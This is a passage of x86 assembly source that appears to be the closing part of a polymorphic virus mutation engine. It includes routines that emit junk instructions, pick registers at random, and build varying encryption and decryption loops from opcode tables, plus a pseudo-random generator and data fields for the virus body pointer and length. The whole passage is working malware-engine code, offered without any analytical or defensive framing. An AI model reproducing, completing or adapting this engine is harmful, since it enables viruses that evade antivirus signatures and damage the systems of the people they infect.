        shl     al,3
        xchg    eax,ecx
        add     al,cl
        or      al,0c0h
        xchg    al,ah
        stosw                           ; mov important_reg,some_reg
        pop     ebx
        mov     byte ptr [r_used+ebp],bl    ; restore regs status
skip_changer:
        ret

select_save:
        call    get_random_al7
        sub     al,5                    ; get from 0 to 2
        jc      select_save

        xchg    eax,edx
        add     edx,offset r_pointer
        add     edx,ebp
        mov     al,byte ptr [edx]

        cmp     al,0ffh                 ; not already assigned?
        je      exit_bad

        cmp     al,20h                  ; no key signature, if so skip
        je      exit_bad

        call    is_used                 ; maybe is already saved on stack or
        jnz     return_good             ; such?
exit_bad:
        stc
        ret
return_good:
        mov     cl,byte ptr [r_used+ebp]
        clc
        ret

save_mov_xchg:
        xchg    eax,ebx
        call    get_register            ; get an usable register
        xchg    eax,ecx
        call    set_used                ; set this one as used
        call    unset_used              ; and the previous as unused
        mov     ah,087h                 ; xchg reg,reg base
        push    eax
        xor     ecx,ecx
        call    get_random              ; select if using mov or xchg
        shr     al,1
        jc      use_mov_first
        mov     cl,4                    ; + 4 becames mov reg,reg base
use_mov_first:
        shr     al,1                    ; when just saving this won't be used
        jc      use_mov_after           ; select whichone for restore aswell
        mov     ch,4
use_mov_after:
        pop     eax
        add     ah,ch                   ; restore one
        push    eax
        sub     ah,ch
        add     ah,cl
        shl     al,3                    ; * 8
        add     al,bl
        or      al,0c0h                 ; mov some_reg,important_reg
        xchg    al,ah
        stosw                           ; put the moving of regs
        call    rnd_garbage
        pop     eax
        ret


; tables for various purposes
garbage_offsets:
        dd      offset  call_subroutines
        dd      offset  gen_one_byters
        dd      offset  mov_registers
        dd      offset  mem_assign
        dd      offset  mem_mathops
        dd      offset  maths_immediate
        dd      offset  maths_immediate_short
        dd      offset  maths_registers
        dd      offset  rotating_imms
        dd      offset  notneg_register
        dd      offset  imm_assign
        dd      offset  inc_dec_reg
        dd      offset  xchg_regs
        dd      offset  test_regs
        dd      offset  temp_save_change
        dd      offset  cdq_jmps_savestack


one_byters      db      090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h

change_jump     db      098h,099h,0ebh,0e9h

_math_imm:
        dw      008c1h  ; ror d[ebx],imm
        dw      02881h  ; sub d[ebx],imm
        dw      03081h  ; xor d[ebx],imm
        dw      00081h  ; add d[ebx],imm
        dw      000c1h  ; rol d[ebx],imm
_math_key:
        dw      008d3h  ; ror d[ebx],cl
        dw      00029h  ; sub d[ebx],eax
        dw      00031h  ; xor d[ebx],eax
        dw      00001h  ; add d[ebx],eax
        dw      000d3h  ; rol d[ebx],cl

; cmp,or,xor,sub,add
chk_counter     db      0f8h,0c8h
key_changers    db      0e8h,0f0h,0c0h  ; xor sub add
                db      0c0h,0c8h       ; ror rol
                db      040h,048h       ; inc dec

get_address:
        push    esi
        mov     ebx,edi
        lea     esi,[offset v_runnin + ebp]
        sub     ebx,dword ptr [esi - (offset v_runnin - offset t_inipnt)]
                                                ; actual decryptor lenght
        add     ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]

        mov     edx,dword ptr [esi]

                db      0b1h            ; mov cl,
t_memand        db      00h             ; significant bytes present

        add     edx,ebx

search_offset2:
        call    get_random
        shl     eax,cl
        shr     eax,cl
        cmp     eax,dword ptr [esi]     ; is < starting off of poly?
        jb      search_offset2
look_foroff2:
        cmp     eax,edx                 ; upper border
        jbe     ok_offset2
        sub     eax,ebx
        jmp     look_foroff2
ok_offset2:
        pop     esi
        ret

get_random_al7:
        call    get_random
        and     eax,0111b
        ret

get_random:
        push    ebx
        push    edx

        db     0b8h                     ; mov eax,
seed    dd     000h                     ; random seed, must be < im

        mov     ebx,4096d                ; ia
        mul     ebx
        add     eax,150889d              ; ic
        adc     edx,0
        mov     ebx,714025d              ; im
        push    ebx
        div     ebx
        mov     dword ptr [seed+ebp],edx
        xchg    eax,edx
        cdq
        xor     ebx,ebx
        dec     ebx
        mul     ebx                     ; * 2^32 - 1
        pop     ebx
        div     ebx                     ; here we have a 0<=rnd<=2^32
        pop     edx
        pop     ebx
        ret


is_used:
; AL register
        push    eax
        mov     cl,al
        mov     al,1
        shl     al,cl
        test    byte ptr [r_used+ebp],al
        pop     eax
; Z  = register not used
; NZ = register used
        ret

set_used:
; AL register
        push    eax
        mov     cl,al
        mov     al,1
        shl     al,cl
        or      byte ptr [r_used+ebp],al
        pop     eax
        ret

unset_used:
; BL register
        push    eax
        mov     cl,bl
        mov     al,1
        shl     al,cl
        not     al
        and     byte ptr [r_used+ebp],al
        pop     eax
        ret

get_register:
        push    eax
reget_reg:
        call    get_random_al7
        call    is_used
        jnz     reget_reg               ; check we aren't using it
; the is_used will put the reg in cl
        pop     eax
        ret

; how much memory does the ETMS need, so you can substract from the lenght
; of the virus on file of course
_mem_space      =       (offset _mem_data_end - offset _mem_data_start)

_mem_data_start:

t_inipnt        dd      00h             ; initial EDI

r_pointer       db      00h             ; register used as pointer
r_counter       db      00h             ; register used as counter
r_regkey        db      00h             ; register used as key, 20h use
                                        ; immediate as key
r_used          db      00000000b
;  bits meaning          0 0 0 1 0 0 0 0
;                        E E E E E E E E
;                        D S B S B D C A
;                        I I P P X X X X

t_chgpnt        db      00h             ; changes to be made to pointer
t_chgcnt        db      00h             ; changes to be made to counter
t_chgkey        db      00h             ; changes to be made to key register
t_chgmat        db      00h             ; changes to be made to operation

t_pntoff        dd      00h             ; offset added to pointer (00h if not
                                        ; added)
t_cntoff        dd      00h             ; constant to be added to counter
                                        ; value

t_fromend       db      00h             ; 00h from start, else from end
t_countback     db      00h             ; 00h decrementing, else incrementing
t_pushed        db      00h             ; pushed dwords
t_maxjmps       db      00h             ; max jumps
t_inacall       db      00h             ; into a call or not
                db      00h             ; just to optimize poly size :)

v_lenght        dd      00h             ; lenght
v_virusp        dd      00h             ; pointer to body
v_runnin        dd      00h             ; offset at which dec will run

w_counter       dd      00h             ; where counter is assigned - 1
w_pointer       dd      00h             ; where pointer is assigned - 1
w_loopbg        dd      00h             ; where loop begins
w_encrypt       dd      00h             ; pointer on current pos in encryptor

_mem_data_end:




